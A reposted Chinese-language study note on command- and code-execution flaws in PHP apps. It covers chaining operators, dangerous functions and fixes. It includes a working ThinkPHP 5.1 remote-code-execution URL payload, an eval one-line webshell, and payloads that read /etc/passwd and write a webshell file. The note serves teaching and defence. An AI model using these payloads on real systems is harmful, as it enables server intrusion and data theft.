命令執行與代碼執行漏洞原理


本篇筆記摘自微信“黑白天”,如有侵權,聯系刪除

二次修改:找到了一篇更容易弄清楚的文章----美豆

命令執行定義
當應用需要調用一些外部程序去處理內容的情況下,就會用到一些執行系統命令的函數。如PHP中的system,exec,shell_exec等,

當用戶可以控制命令執行函數中的參數時,將可注入惡意系統命令到正常命令中,造成命令執行攻擊。

形成原因
腳本語言優點是簡潔,方便,但也伴隨着一些問題,如速度慢,無法解除系統底層,如果我們開發的應用需要一些除去web的特殊功能時,就需要調用一些外部程序。帶來方便的同時也存在威脅。

漏洞危害
繼承Web服務程序的權限去執行系統命令或讀寫文件
反彈shell
控制整個網站甚至控制服務器
進一步內網滲透

 

代碼執行與命令執行的區別

命令執行漏洞:相當於在cmd下敲命令,有一點像SSRF的利用方式

command1&command2 兩個命令同時執行
command1&&command2 只有前面命令執行成功,后面命令才繼續執行
command1;command2 不管前面命令執行成功沒有,后面的命令繼續執行
command1||command2 順序執行多條命令,當碰到執行正確的命令后將不執行后面的命令

 命令執行常用函數

 1. System:system函數可以用來執行一個外部的應用程序並將相應的執行結果輸出,
函數原型如下:string system(string command, int&return_var)
其中,command是要執行的命令,return_var存放執行命令的執行后的狀態值。
 2. Exec:exec函數可以用來執行一個外部的應用程序
string exec (string command, array&output, int &return_var)
其中,command是要執行的命令,output是獲得執行命令輸出的每一行字符串,
return_var存放執行命令后的狀態值。
 3.Passthru:passthru函數可以用來執行一個UNIX系統命令並顯示原始的輸出,
當UNIX系統命令的輸出是二進制的數據,並且需要直接返回值給瀏覽器時,
需要使用passthru函數來替代system與exec函數。
Passthru函數原型如下:void passthru (string command, int&return_var)
其中,command是要執行的命令,return_var存放執行命令后的狀態值。
 4. Shell_exec:執行shell命令並返回輸出的字符串,
函數原型如下:string shell_exec (string command)
其中,command是要執行的命令。

 實戰  TP5.1的命令執行漏洞

在url添加上poc

/index.php?s=index/\think\Container/invokeFunction&
function=call_user_func_array&vars[]=system&vars[1][]=dir   最后加命令

 

修復方案

1.盡量少用執行命令的函數或者直接禁用
2.參數值盡量使用引號包括
3.在使用動態函數之前,確保使用的函數是指定的函數之一
4.在進入執行命令的函數/方法之前,對參數進行過濾,對敏感字符進行轉義
5.能使用腳本解決的工作,不要調用其他程序處理。盡量少用執行命令的函數,並在disable_functions中禁用
6.對於可控點是程序參數的情況下,使用escapeshellcmd函數進行過濾,對於可控點是程序參數值的情況下,使用escapeshellarg函數進行過濾
7.參數的值盡量使用引號包裹,並在拼接前調用addslashes進行轉義
而針對由特定第三方組件引發的漏洞,我們要做的就是及時打補丁,修改安裝時的默認配置。

 代碼執行漏洞

應用程序在調用一些能夠將字符串轉換為代碼的函數(如PHP中的eval)時,沒有考慮用戶是否控制這個字符串,將造成代碼執行漏洞。
很難通過黑盒查找漏洞,大部分都是根據源代碼判斷代碼執行漏洞。

代碼執行相關函數:
PHP: eval、assert、preg_replace()、+/e模式(PHP版本<5.5.0)

Javascript: eval

Vbscript:Execute、Eval

Python: exec

 

代碼執行漏洞的利用:

1、一句話木馬

${@eval($_POST[1])}

2、獲取當前工作路徑

${exit(print(getcwd()))}

使用菜刀

3、讀文件

${exit(var_dump(file_get_contents($_POST[f])))}

f=/etc/passwd

使用post提交數值 f=/etc/passwd

4、寫webshell

${exit(var_dump(file_put_contents($_POST[f], $_POST[d])))}

f=1.php&d=1111111

同樣使用post

代碼執行漏洞修復方案:

    對於eval()函數一定要保證用戶不能輕易接觸eval參數或者用正則嚴格判斷輸入的數據格式。

    對於字符串一定要使用單引號包裹可控代碼,並且插入前進行addslashes

    對於preg_replace放棄使用e修飾符.如果必須要用e修飾符,請保證第二個參數中,對於正則匹配出的對象,用單引號包裹。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM